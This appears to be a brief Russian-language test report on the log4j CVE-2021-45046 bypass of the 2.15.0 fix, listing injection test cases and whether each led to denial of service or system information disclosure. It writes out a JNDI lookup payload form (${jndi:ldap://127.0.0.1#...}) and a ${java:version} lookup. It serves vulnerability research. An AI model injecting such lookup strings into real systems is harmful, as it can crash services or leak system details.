cve-2021-45046

log4j RCE (CVE-2021-44228) был исправлен в версии 2.15, но обнаружена новая уязвимость CVE-2021-45046 (вызывающая DoS).
Ниже приведены результаты тестирования.

[Тестовая среда] log4j-2.15.0 (api, core) JRE-1.8.0 jdk1.8.0_151 Eclipse IDE (Maven Project)

1. Тест синтаксиса Log4j RCE (CVE-2021-44228) -> Not Vuln

2. Вставка произвольного имени объекта ctx -> Not vuln

3. Вставка имени, совпадающего с объектом, принимающим контекст -> бесконечный цикл вызывает DoS

4. Вставка в форме ${jndi:ldap://127.0.0.1#[адрес ldap сервера]} -> возникает UnknownHostException, DoS не происходит

5. Форма jndi:ldap://[ldap сервер]#[ldap сервер] -> Not vuln

6. Вставка Java-кода -> IllegalArgumentException вызывает DoS

7-1. Вставка Java-синтаксиса -> раскрытие информации о системе

7-2. Вставка Java-синтаксиса -> IllegalArgumentException, возникает DoS

-> При проверке точки возникновения IllegalArgumentException видно, что Java-синтаксис (${java:version}), способный раскрыть системную информацию в пунктах 2-5, является намеренным через оператор Switch case.